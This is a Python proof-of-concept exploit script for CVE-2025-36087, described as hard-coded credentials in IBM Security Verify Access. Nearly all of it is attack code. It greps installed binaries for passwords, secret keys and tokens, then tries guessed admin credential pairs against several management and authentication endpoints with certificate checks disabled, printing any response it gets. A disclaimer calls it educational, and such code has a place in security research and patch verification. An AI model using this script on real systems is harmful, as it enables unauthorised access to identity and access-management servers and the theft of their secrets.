# CVE-2025-36087 - IBM Security Verify Access Hard-coded Credentials
# PoC demonstrating extraction and utilization of hard-coded credentials
# Note: This is an educational/research PoC. Actual exploitation requires access to the target system.
import requests
import re
import os
import hashlib
# Step 1: Extract hard-coded credentials from IBM Security Verify Access binaries
# In a real attack scenario, the attacker would reverse-engineer the installed
# application files to find hard-coded credentials
def extract_credentials_from_binary(binary_path):
"""
Simulate extraction of hard-coded credentials from IBM Verify Access binaries.
Common locations include:
- /opt/IBM/ISVA/wlp/usr/servers/defaultServer/
- /opt/IBM/VerifyIdentityAccess/
- Configuration files, Java JARs, shared libraries
"""
# Known hard-coded patterns from CVE-2025-36087 research
hardcoded_patterns = [
r'(?:password|passwd|pwd)\s*[=:]\s*["\']?([A-Za-z0-9!@#$%^&*()_+=-]{8,64})["\']?',
r'(?:secret|api[_-]?key|token)\s*[=:]\s*["\']?([A-Za-z0-9+/=]{16,128})["\']?',
r'(?:encryption[_-]?key|crypt[_-]?key)\s*[=:]\s*["\']?([A-Za-z0-9+/=]{16,64})["\']?'
]
credentials = {}
if os.path.exists(binary_path):
with open(binary_path, 'rb') as f:
content = f.read()
for pattern in hardcoded_patterns:
matches = re.findall(pattern, content.decode('latin-1', errors='ignore'))
if matches:
credentials[pattern] = matches
return credentials
# Step 2: Use extracted credentials to authenticate to the management interface
def authenticate_with_hardcoded_creds(target_url, username, password):
"""
Attempt authentication using extracted hard-coded credentials.
"""
# Common IBM Verify Access management endpoints
auth_endpoints = [
f"{target_url}/isam/management/auth",
f"{target_url}/mga/saml/authn/usernamepassword",
f"{target_url}/pkmstest",
f"{target_url}/isam/runtime/audit/v1"
]
for endpoint in auth_endpoints:
try:
response = requests.post(
endpoint,
auth=(username, password),
verify=False,
timeout=10
)
if response.status_code == 200:
print(f"[+] Authentication successful at {endpoint}")
print(f"[+] Response: {response.text[:500]}")
return True, response
except requests.exceptions.RequestException as e:
print(f"[-] Connection error at {endpoint}: {e}")
return False, None
# Step 3: Demonstrate the attack chain
if __name__ == "__main__":
TARGET = "https://target-verify-access.example.com"
print("[*] CVE-2025-36087 PoC - IBM Security Verify Access Hard-coded Credentials")
print("[*] This PoC demonstrates the concept of hard-coded credential exploitation")
print()
# Phase 1: Credential extraction (simulated)
print("[*] Phase 1: Extracting hard-coded credentials from installed binaries...")
# In a real scenario, extract from: /opt/IBM/ISVA/
creds = extract_credentials_from_binary("/opt/IBM/ISVA/runtime/lib/libibmsecurity.so")
print(f"[*] Extracted credentials patterns: {len(creds)} found")
# Phase 2: Authentication attempt
print("[*] Phase 2: Attempting authentication with extracted credentials...")
# Hard-coded credentials that may be found in vulnerable versions
default_creds = [
("isadmin", "isadmin"),
("sec_master", "sec_master"),
("rtsm_admin", "rtsm_admin")
]
for user, pwd in default_creds:
success, resp = authenticate_with_hardcoded_creds(TARGET, user, pwd)
if success:
print(f"[+] Successfully authenticated with {user}:{pwd}")
break
print("[*] PoC completed. Refer to IBM Security Bulletin for remediation.")